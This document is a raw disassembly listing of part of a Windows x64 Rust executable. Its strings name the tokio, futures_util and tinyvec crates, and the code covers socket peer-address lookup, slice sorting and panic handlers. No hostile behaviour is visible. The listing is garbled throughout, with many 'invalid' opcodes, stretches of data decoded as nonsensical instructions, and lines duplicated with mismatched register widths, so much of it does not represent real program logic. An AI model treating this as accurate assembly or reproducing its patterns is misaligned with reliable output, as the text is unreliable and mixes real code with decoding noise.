invalid
jnp 0x14005da1d
stosb byte [rdi], al
add byte [rax], al
add byte [rax + 0xf68037b], al
push 0xa0850f
add byte [rax], al
test dword [rax - 0x80000000], esp
jnp 0x14005da28
movabs al, byte [0xf65047b80000000]
test dword [rsi - 0x80000000], edx
jnp 0x14005da33
jne case.0x140057c74.250
add byte [rax], al
add byte [rax + 0xf2d057b], al
test dword [rax + rax + 0x7b800000], ecx
invalid
invalid
jnp 0x14005da3e
sub eax, 0x8c850f
add byte [rax], al
add byte [rax + 0xf63067b], al
test dword [rdx - 0x80000000], eax
jnp 0x14005da49
invalid
outsd dx, dword [rsi]
jnp 0x14005da57
je 0x14005dac5
jo 0x14005d9d2
jnp 0x14005da5e
jb 0x14005dacb
push 0xffffffffffffff80
jnp 0x14005da65
invalid
outsd dx, dword [rsi]
add ah, byte [rbx + 0x75]
add eax, dword [rax]
add byte [rax], al
add al, 0x61
jne case.0x140057c74.250
cmp byte [rbx + 5], 0x6e
jne case.0x140057c74.250
invalid
fild dword [rax + 0x7567067b]
invalid
cmp byte [rbx + 6], 0x67
jne case.0x140057c74.250
or dword [r11 - 0x7bf09008], eax
pop rdi
add dword [rax], eax
add byte [rbx - 0x7af09e08], al
invalid
invalid
test dword [rbx + 1], edi
add byte [rax], al
cmp byte [rbx + 0xa], 0x6e
or ch, byte [rsi + 0xf]
test dword [rcx + 1], esi
add byte [rax], al
add byte [rax + 0xf6e0a7b], al
test dword [rdi + 1], esp
add byte [rax], al
lea eax, [0x140178ba8]
mov edx, 0xd
call fcn.140105e29
int3
ror dword [rax - 0x77], cl
invalid
int1
call fcn.1400f6a31
mov rdi, rax
mov rbx, rdx
test rax, rax
je 0x140063e7c
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x140063e74
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov qword [rsi + 0x60], 0
mov rax, rdi
mov rdx, rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
adc dword [rax], eax
lea r8, [0x140178b80]
mov edx, 0x2c
call fcn.1401048a0
int3
mov rax, qword [rcx]
test rax, rax
je 0x140063f0f
cmp eax, 1
jne 0x140063f46
mov r9, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
mov rdx, qword [r8 + 0x40]
cmp rdx, r9
jbe 0x140063f85
lea rax, [r9 + r9*8]
shl rax, 3
add rax, qword [r8 + 0x38]
mov rdx, qword [rcx + 0x10]
cmp rdx, 2
cmp edx, 2
cmp edx, 2
jne 0x140063f4a
cmp qword [rax + 0x10], 0
je 0x140063f75
mov rdx, qword [rax + 0x18]
mov qword [rcx], 1
mov qword [rcx + 8], rdx
jmp 0x140063f7c
mov r8, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
mov rdx, qword [r8 + 0x28]
cmp rdx, rax
jbe 0x140063f94
imul rax, rax, 0x68
add rax, qword [r8 + 0x20]
cmp qword [rcx + 0x10], 0
je 0x140063f63
cmp qword [rax], 0
je 0x140063fa3
mov rdx, qword [rax + 8]
mov qword [rcx], 1
mov qword [rcx + 8], rdx
jmp 0x140063f6f
invalid
sub dword [rcx], esi
shr bl, 0x36
xor eax, eax
jmp 0x140063f80
cmp edx, 1
jne 0x140063ef7
cmp r9, qword [rcx + 0x18]
jne 0x140063ef7
mov edx, 2
mov qword [rcx], rdx
mov qword [rcx + 0x10], rdx
adc bl, ch
invalid
adc bl, ch
sbb dword [rdx + 2], edi
mov edx, 2
mov qword [rcx], rdx
mov qword [rcx + 0x10], rdx
add rax, 0x18
jmp 0x140063f80
mov qword [rcx], 2
add byte [rax - 0x7d], cl
shl byte [rax], 0x48
add esp, 0x28
add rax, 0x20
add rsp, 0x28
ret
lea r8, [0x140158a90]
mov rcx, r9
call fcn.140104820
lea r8, [0x140158a60]
add eax, 0xf4ac5
mov rcx, rax
call fcn.140104820
lea rcx, [0x1401777ba]
lea r8, [0x140158a78]
mov edx, 0x28
call fcn.1401048a0
int3
add byte [rax], 0
add byte [rdi], cl
adc byte [rdi + 0x10], al
movaps xmmword [rsp + 0x70], xmm0
mov ecx, 1
jmp 0x14006440c
test dword [rbx], esp
add eax, 0x8b480000
add eax, 0x146257
shl rax, 1
test rax, rax
jne 0x1400647da
mov dword [rsp + 0x38], 0
add byte [rax], al
push 0xffffffffb48d4c18
and al, 0x68
add dword [rax], eax
add byte [rcx + rcx*4 - 0xf], cl
add al, 0xf
test byte [rbp + 1], ah
add byte [rax], al
add cl, byte [rdi]
test dword [rbp - 0x7bfffffd], ecx
leave
push qword [rbp + 0x1d]
mov rax, qword [r14]
test rax, rax
je 0x1400643ce
lock dec qword [rax]
jne 0x1400643ce
mov rcx, qword [r14]
call fcn.140060cef
mov qword [r14], 0
invalid
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x180], xmm1
movups xmmword [rsp + 0x170], xmm0
jo 0x1400643ee
add byte [rax], al
jo 0x1400643ee
add byte [rax], al
add byte [rbp - 0x7b], cl
dec dword [rdi]
test cl, cl
add eax, dword [rax]
add byte [rcx - 0x7d], cl
inc dword [rdx]
test r15, r15
je 0x1400647c1
cmp r15, 2
jne 0x14006442d
add eax, 0xc9310000
mov qword [rsi], rcx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x80]
add byte [rax], al
add byte [rax - 0x77], cl
and cl, r13b
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and cl, r13b
or eax, dword [0xcb4e442f]
mov word [rax + rsi*2], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
mov rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x178]
test rcx, rcx
je 0x140064761
mov rdx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov r9, qword [rdi + 8]
cmp r9, 0xfffffffffffffffd
ja 0x140064467
sub r9, rdx
mov qword [rdi + 8], r9
mov qword [rsi], 1
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], r8
jmp 0x140064938
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rax
jmp 0x140064938
call fcn.140107290
and al, 0x40
mov dword [rcx + 0x10], eax
add al, ch
invalid
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0xf45e3
sub byte [rax - 0x73], cl
adc eax, 0xf45e3
add bh, bh
push rax
sbb byte [rax - 0x73], cl
and al, 0x20
add byte [rax - 0x75], cl
invalid
verw ax
lahf
movsb byte [rdi], byte [rsi]
std
movsd dword [rdi], dword [rsi]
std
call qword [rax + 0x38c48348]
add esp, 0x38
in al, dx
cmp byte [rdi], cl
mov dh, 1
mov ah, 0x13
add byte [rcx + 0x63], cl
add al, 0x80
add cl, byte [rbx + 0xf]
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140064ff8
movzx r14d, r14b
or r14, r12
movzx r15d, word [rax + 0x77]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
and byte [rcx + rcx*4 + 0x56], cl
xor byte [rcx - 0x76b3c7aa], cl
pop rsi
mov dword [rsi + 0x48], r8d
and byte [rcx + rcx*4 + 0x56], cl
xor byte [rcx - 0x76b3c7aa], cl
pop rsi
mov dword [rsi + 0x48], r8d
mov qword [rsi + 0x50], rdi
mov dword [rsi + 0x58], r9d
mov byte [rsi + 0x60], cl
shr r12, 0x20
mov byte [rsi + 0x65], r12b
mov dword [rsi + 0x61], r14d
mov byte [rsi + 0x66], bpl
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 0x67], xmm0
mov word [rsi + 0x77], r15w
lock dec qword [rax]
jne 0x140064ff5
mov rcx, qword [rbx]
call fcn.1400eae0f
mov qword [rbx], rsi
mov rax, qword [rbx]
add rax, 0x10
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
cmp dword [rdx], 0
je 0x14006515f
mov rsi, rcx
mov rax, qword [rdx + 8]
mov rcx, qword [rax]
xorps xmm0, xmm0
lea rdx, [rsp + 0x50]
push rsp
and al, 0x50
push rsp
and al, 0x50
movaps xmmword [rdx + 0x70], xmm0
movaps xmmword [rdx + 0x60], xmm0
movaps xmmword [rdx + 0x50], xmm0
push rax
push rax
movaps xmmword [rdx + 0x40], xmm0
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
and byte [rdi], cl
sub dword [rdx + 0x10], eax
and byte [rdi], cl
sub dword [rdx + 0x10], eax
movaps xmmword [rdx], xmm0
lea r8, [rsp + 0x2c]
mov dword [r8], 0x80
call sub.ws2_32.dll_getpeername
cmp eax, 0xffffffff
clc
invalid
je 0x1400650b8
clc
push qword [rcx + rdx*2 - 0x75]
and al, 0x2c
mov eax, dword [rsp + 0x2c]
movzx ecx, word [rsp + 0x50]
cmp ecx, 2
je 0x1400650c7
cmp ecx, 0x17
jne 0x14006512b
invalid
add byte [rbx - 0x79f0e408], al
add byte [rax], al
add byte [rdi], cl
mov bh, 0x44
cmp eax, 0x1b
jbe 0x14006517a
movzx eax, word [rsp + 0x52]
and al, 0x52
rol ax, 8
movups xmm0, xmmword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
and al, 0x54
and al, 0x54
mov edx, dword [rsp + 0x68]
mov word [rsp + 0x30], 1
movups xmmword [rsp + 0x34], xmm0
mov dword [rsp + 0x44], ecx
mov dword [rsp + 0x48], edx
mov word [rsp + 0x4c], ax
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x4c], eax
jmp 0x1400650ed
call sub.ws2_32.dll_WSAGetLastError
shl rax, 0x20
loopne 0x1400650e1
loopne 0x1400650e1
or rax, 2
jmp 0x140065132
cmp eax, 0xf
jbe 0x140065192
clc
invalid
movzx eax, word [rsp + 0x52]
rol ax, 8
mov ecx, dword [rsp + 0x54]
mov word [rsp + 0x30], 0
add byte [rax], al
xor byte [rax], al
add byte [rsi - 0x77], ah
and al, 0x36
add byte [rax], al
mov word [rsp + 0x36], ax
mov dword [rsp + 0x32], ecx
mov al, byte [0x1401aa510]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14006516b
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsi], rax
lea rax, [0x140158cd8]
mov qword [rsi + 8], rax
mov word [rsi + 0x10], 1
jmp 0x140065155
lea rax, str.invalid_argument
mov qword [rsp + 0x38], rax
mov word [rsp + 0x30], 2
mov qword [rsi], 0
mov word [rsi + 0x10], 1
lea rcx, [rsp + 0x38]
call fcn.1400604ee
nop
add rsp, 0xd0
pop rsi
ret
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_0.2.25_srciopoll_evented.rs
call fcn.140104c30
mov ecx, 4
mov edx, 0x20
call fcn.140103be0
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
mov edx, 0x3a
call fcn.1401048a0
lea rcx, [0x140174409]
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
mov edx, 0x39
call fcn.1401048a0
int3
add dword [rax], eax
mov dword [rax + 0x18], eax
invalid
mov rax, qword [rcx + 0x10]
in al, dx
pop rax
jo case.0x1400255da.989
imul ecx, dword [rcx + 0x48d231f7], 0xfffffff7
test dword [rcx - 0x77], 0xc28949d3
ror dword [rcx - 0x77], cl
invalid
ret
invalid
mov dword [rcx + 0x20], edx
pop rax
or dword [rax], eax
or byte [r9], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x138ea5
add dword [rax], eax
add byte [rax], al
adc byte [r15], cl
ret 0x10
add ah, cl
and byte [rcx - 0x17fb4dff], dh
mov esp, 0x8948ffff
mov rsi, rax
add byte [rax], al
add esp, 0x20
add byte [rax], al
in al, 0xb1
invalid
mov qword [rdx], 4
cmp rax, 4
cmp eax, 4
cmp eax, 4
je case.0x1400255da.976
mov rsi, rcx
add rdx, 8
mov qword [rcx], rax
mov dword [rcx], eax
mov dword [rcx], eax
add rcx, 8
mov r8d, 0x98
call fcn.1401035b1
out 0xe0, al
or dword [rax], eax
out 0xe0, al
or dword [rax], eax
mov rax, rsi
add rsp, 0x20
pop rsi
ret
lea rcx, str.Ready_polled_after_completionC:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14016f160]
add byte [rdx + 0x1d], bh
add byte [rdx + 0x1d], bh
call fcn.140104c50
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
in al, dx
sbb byte [rcx], al
add byte [rax], al
in al, dx
sbb byte [rcx], al
add byte [rax], al
mov rsi, rcx
cmp byte [rcx], 0
jne 0x140065548
cmp qword [rsi + 0x20], 0
je 0x140065548
and al, 0x50
cmp byte [rbx + 1], bh
mov r8, qword [rsi + 0x38]
mov eax, dword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
invalid
add eax, 0x742f3880
invalid
adc byte [rdi], cl
mov bh, 0x46
push rax
retf 0xff9b
fiadd word [rax]
jo 0x140065608
pushfq
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0x47
and byte [rax - 0x77], cl
jle 0x14006568a
cmp byte [rax - 0x77], cl
pop rsi
mov dword [rsi + 0x56], eax
imul ecx, dword [rbp + rcx*4 + 0x44], 0x88412f24
add byte [rax - 0x73], cl
add eax, 0xf36aa
invalid
invalid
invalid
str word ss:[rax - 0x77]
str word [rbp + rcx*4 + 0xd]
add al, ch
invalid
xor cl, byte [rdi]
sldt word [rcx - 0x48]
sldt word [rax]
add byte [rax - 0x77], cl
mov ecx, eax
invalid
lodsb al, byte [rsi]
lahf
std
call qword [rax + 0x38c48348]
retf
add byte [rax - 0x77], cl
xlatb
add byte [rax - 0x73], cl
adc eax, 0x1383ca
retf 0x1383
invalid
and byte [rax - 0x77], cl
adc byte [rdi], cl
adc dword [rsi + 0x10], ecx
add byte [rax], al
add byte [rax - 0x73], cl
mov ah, 0x24
loopne 0x140065843
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
xlatb
sbb bl, byte [rcx - 0x7fbe0001]
add esi, dword ds:[rsi + rbp*2 + 0x4c]
lea r14, [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
je 0x14006588e
xor byte [rcx + 0xb], bh
add byte [rax], al
invalid
invalid
add dword [rax], eax
add byte [rbx + 0x5f], bl
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x30
add eax, 0xf3579
push rbp
xor eax, 0x8d4c000f
or eax, 0xf26e6
add byte [rax], al
add al, ch
invalid
mov byte [rax], al
and byte [rax - 0x73], cl
or eax, 0xf3552
movabs eax, dword [0x38ec8348cc0009f2]
mov rax, rdx
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rcx, [0x1401588e0]
str word [rax - 0x77]
and al, 0x20
add byte [rax - 0x77], cl
shr eax, 0x70
popfq
std
sub rsp, 0x20
mov rsi, rcx
mov cl, 6
call fcn.140061095
dec dword [rax - 0x77]
ror dword [rax - 0x77], 0xf2
invalid
dec dword [rax - 0x77]
ror dword [rax - 0x77], 0xf2
invalid
add rsp, 0x20
int1
invalid
or eax, 0xffb731e8
dec dword [rax - 0x77]
ror dword [rax - 0x77], 0xf2
add esp, 0x20
in al, dx
mov byte [rax], al
add byte [rax], al
mov rsi, rdx
mov rcx, qword [rcx]
cmp dword [rax], eax
xchg ecx, eax
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
or eax, 0xfffe642b
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, 0xc1
add eax, 0xf376c
add eax, 0xf370d
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
adc al, 0xc1
mov eax, dword [rcx + rax*8]
add byte [rax], al
add bl, al
mov rcx, qword [rcx]
int 0
xor byte [rdi], cl
add byte [rax - 0x7d], cl
cmp rcx, 6
add dword [rbp - 0x73], eax
add byte [rax - 0x7d], cl
add byte [rcx + rcx + 0x48], dh
mov dh, 0x41
adc eax, dword [rax]
add eax, 0xf21ab
add byte [rax], al
sldt ebx
add eax, 0xf23b6
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1401584d8]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xf1f6d
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140158501]
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140158487]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14015844f]
add eax, 0xf20f3
inc eax
mov qword [rsi + 0x18], rax
jmp 0x140067116
cmp dword [rcx], eax
add byte [rax], al
cmp dword [rcx], eax
add byte [rax], al
mov rcx, qword [rsi + 0x40]
cmp dword [rsi], 0
invalid
invalid
je 0x140066ff0
add byte ds:[rdx + rcx + 0x4c], dh
mov eax, dword [rsi + 0x10]
mov r8, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
jmp 0x140067002
movzx eax, word [rsi + 4]
cmp rax, 5
jae 0x14006712f
lea r8, [rsi + 8]
mov rdx, rax
sub rdx, rcx
jb 0x140067120
lea rcx, [r8 + rcx*8]
call fcn.1400671c3
add dword [rax], eax
add byte [rbx + 0x7f74003e], al
invalid
add dword [rax], eax
add byte [rbx + 0x7f74003e], al
invalid
jg 0x140067065
mov rax, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
cmp rax, qword [rsi + 8]
jne 0x140067033
lea rcx, [rsi + 8]
call fcn.140067173
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax - 0x75], cl
sbb byte [rax - 0x75], r9b
adc sil, r8b
add al, 0xc1
add byte [rcx + 0x4804c17c], cl
inc dword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov byte [rcx + rax*8], 0
mov dword [rcx + rax*8 + 4], edi
inc qword [rsi + 0x18]
jmp 0x140067103
add al, 0x4c
lea esi, [rsp + 0x20]
mov rcx, r14
mov r8d, ebx
mov r9d, edi
call fcn.140105cae
mov rcx, rsi
call fcn.1400671a2
mov rax, qword [r14 + 0x20]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x140067116
movzx eax, word [rsi + 4]
cmp rax, 3
jbe 0x1400670f4
cmp edi, 0x110000
je 0x140067103
lea rdx, [rsi + 4]
lea rbx, [rsp + 0x20]
mov rcx, rbx
xor r8d, r8d
mov r9d, edi
call fcn.140105cae
mov rcx, rsi
call fcn.1400671a2
mov rax, qword [rbx + 0x20]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x140067103
mov byte [rsi + rax*8 + 8], 0
mov dword [rsi + rax*8 + 0xc], edi
inc eax
mov word [rsi + 4], ax
cmp dword [rsi], 0
je 0x14006710e
mov rax, qword [rsi + 0x18]
jmp 0x140067112
movzx eax, word [rsi + 4]
mov qword [rsi + 0x40], rax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
mov rdx, rax
call fcn.140104810
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
mov rcx, rax
call fcn.140104890
int3
mov rax, r15
sub rax, r13
mov rcx, qword [rsp + 0x38]
lea rcx, [rcx + r13*8]
cmp rax, 2
jae 0x1400672fe
mov r8, rax
mov rbx, rdi
lea rdx, [r8 + r13]
mov rdi, rdx
sub rdi, r13
jb 0x1400677d4
cmp rdx, r15
ja 0x1400677d4
jae 0x14006739c
cmp r8, 0xa
jae 0x14006739c
lea rdi, [r13 + 0xa]
cmp rdi, r15
cmovae rdi, r15
cmp r13, 0xfffffffffffffff6
jae 0x1400677ec
cmp r8, 1
adc r8, 0
mov qword [rsp + 0x48], rdi
sub rdi, r13
mov rdx, rdi
call fcn.14006b140
jmp 0x1400673a1
mov dl, byte [rcx + 8]
cmp dl, byte [rcx]
jae 0x1400676b3
mov r8d, 2
cmp rax, 2
je 0x14006732c
mov r9d, edx
mov dl, byte [rcx + r8*8]
cmp dl, r9b
jae 0x14006732c
inc r8
cmp rax, r8
jne 0x140067315
mov r8, rax
mov rdx, r8
add rdx, r13
jb 0x140067816
cmp rdx, r15
ja 0x14006780a
mov rbx, rdi
cmp r8, 2
jb 0x1400672a7
mov r9, rdx
mov rax, r8
shr rax, 1
neg rax
mov rdx, qword [rsp + 0x50]
mov r14, r9
lea rdx, [rdx + r9*8]
mov r9, rcx
xor r10d, r10d
mov r11b, byte [r9]
mov esi, dword [r9 + 4]
mov rdi, qword [rdx + r10*8]
mov qword [r9], rdi
mov byte [rdx + r10*8], r11b
mov dword [rdx + r10*8 + 4], esi
dec r10
add r9, 8
cmp rax, r10
jne 0x14006736c
mov rsi, qword [rsp + 0x28]
mov rdx, r14
jmp 0x1400672a7
mov qword [rsp + 0x48], rdx
cmp r12, qword [rsp + 0x40]
jne 0x1400673fd
mov rdx, r12
shl rdx, 5
mov al, byte [0x1401aa510]
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400677fe
mov rsi, rax
lea rax, [r12 + r12]
mov qword [rsp + 0x40], rax
mov r8, r12
shl r8, 4
mov rcx, rsi
mov rdx, rbx
call fcn.1401035b1
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r12
shl rax, 4
mov qword [rbx + rax], rdi
mov qword [rbx + rax + 8], r13
inc r12
mov rax, r12
cmp r12, 2
mov rdi, rbx
mov qword [rsp + 0x58], rbx
jb 0x1400676e6
mov r12, rax
lea r10, [rax - 1]
mov rcx, r10
shl rcx, 4
mov rax, qword [rdi + rcx]
mov rcx, qword [rdi + rcx + 8]
add rcx, rax
cmp rcx, r15
je 0x140067491
mov rdx, r12
shl rdx, 4
loop 0x14006744f
loop 0x14006744f
mov r8, qword [rdx + rdi - 0x20]
cmp r8, rax
invalid
loopne 0x14006749a
cmp eax, eax
sal byte [rsi + 0x3c], 0x49
cmp esp, 2
jbe 0x140067491
cmp r12, 2
je 0x1400676e0
lea r11, [r12 - 3]
mov rcx, r11
shl rcx, 4
mov rcx, qword [rdi + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400674a7
cmp r12, 3
jbe 0x1400676e6
add r8, rcx
cmp qword [rdx + rdi - 0x40], r8
enter 0x394c, 0x44
cmp al, al
jbe 0x1400674a7
sbb ebp, ecx
push rbp
add al, byte [rax]
add byte [rcx - 0x7d], cl
cld
add dh, byte [rbp + rdx + 0x4d]
lea ebx, [rsp - 3]
jmp 0x1400676e6
cmp r12, 2
je 0x1400674ac
lea r11, [r12 - 3]
and al, 0xfd
mov rcx, r11
shl rcx, 4
mov rcx, qword [rdi + rcx]
invalid
cmp rcx, rax
jb 0x1400674b1
lea r11, [r12 - 2]
cmp r12, r11
jbe 0x140067743
lea rbx, [r11 + 1]
cmp r12, rbx
jbe 0x14006777b
mov r13, r11
shl r13, 4
mov rcx, qword [rdi + r13 + 8]
shl rbx, 4
mov rax, qword [rdi + rbx]
mov r14, qword [rdi + rbx + 8]
add r14, rax
mov rsi, r14
sub rsi, rcx
jb 0x1400677b3
cmp r14, r15
ja 0x1400677c2
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x80], r12
mov rbp, qword [rdi + r13]
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x68], rcx
lea r12, [rax + rcx*8]
lea rdi, [r12 + rbp*8]
mov r15, rsi
sub r15, rbp
cmp r15, rbp
jae 0x1400675bb
lea r8, [r15*8]
mov rsi, qword [rsp + 0x28]
mov rcx, rsi
mov rdx, rdi
call fcn.1401035b1
lea r8, [rsi + r15*8]
test rbp, rbp
jle 0x140067633
test r15, r15
jle 0x140067633
mov rax, qword [rsp + 0x50]
lea rax, [rax + r14*8]
mov r15, qword [rsp + 0x30]
mov cl, byte [r8 - 8]
mov dl, byte [rdi - 8]
cmp cl, dl
mov r9d, 0
sbb r9, r9
cmp cl, dl
mov r10d, 0
adc r10, 0xffffffffffffffff
cmp cl, dl
lea rdi, [rdi + r9*8]
lea r8, [r8 + r10*8]
mov rcx, r8
cmovb rcx, rdi
mov rcx, qword [rcx]
mov qword [rax], rcx
cmp rdi, r12
jbe 0x1400675b3
add rax, 0xfffffffffffffff8
cmp r8, rsi
ja 0x140067570
mov r12, rdi
jmp 0x14006763d
lea r8, [rbp*8]
mov r15, qword [rsp + 0x28]
mov rcx, r15
mov rdx, r12
call fcn.1401035b1
lea r8, [r15 + rbp*8]
test rbp, rbp
jle 0x140067642
cmp rsi, rbp
mov r15, qword [rsp + 0x30]
jle 0x140067638
mov rax, qword [rsp + 0x38]
lea rax, [rax + r14*8]
mov rsi, qword [rsp + 0x28]
mov rdx, rsi
mov r9b, byte [rdi]
xor r10d, r10d
xor ecx, ecx
cmp r9b, byte [rdx]
setae r10b
setb r9b
mov r11, rdx
cmovb r11, rdi
mov r11, qword [r11]
mov qword [r12], r11
add r12, 8
lea rdx, [rdx + r10*8]
cmp rdx, r8
jae 0x14006764f
mov cl, r9b
lea rdi, [rdi + rcx*8]
cmp rdi, rax
jb 0x1400675f7
jmp 0x14006764f
mov r12, rdi
jmp 0x140067647
mov rsi, qword [rsp + 0x28]
mov rdx, rsi
jmp 0x14006764f
mov rsi, qword [rsp + 0x28]
mov rdx, rsi
mov r15, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x58]
add r13, rdi
add rbx, rdi
sub r8, rdx
mov rcx, r12
call fcn.1401035b1
mov rax, qword [rsp + 0x60]
add rax, rbp
mov qword [rbx], rax
mov rax, qword [rsp + 0x68]
mov qword [rbx + 8], rax
lea rdx, [r13 + 0x10]
mov rax, qword [rsp + 0x70]
not rax
mov r8, qword [rsp + 0x80]
add r8, rax
shl r8, 4
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x78]
cmp rax, 1
ja 0x140067425
mov r12d, 1
jmp 0x1400676e6
mov r8d, 2
cmp rax, 2
je 0x1400672a0
mov r9d, edx
mov dl, byte [rcx + r8*8]
cmp dl, r9b
jb 0x1400672a0
inc r8
cmp rax, r8
jne 0x1400676c3
jmp 0x14006729d
mov r12d, 2
mov r13, qword [rsp + 0x48]
cmp r13, r15
jb 0x140067288
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rdi
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
call rdi
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rsi
mov rax, rdi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
lea rax, [0x1401755a8]
lea rcx, [rsp + 0x88]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019e2d0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.1401047d0
lea rax, [0x1401755a8]
lea rcx, [rsp + 0x88]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019e2d0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.1401047d0
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov rdx, r14
call fcn.140104ad0
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov rcx, r14
mov rdx, r15
call fcn.140104890
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov edx, 0x2c
call fcn.1401048a0
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov rcx, r13
mov rdx, rdi
call fcn.140104ad0
lea rcx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.140104c30
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
mov rcx, rdx
jmp 0x1400677cc
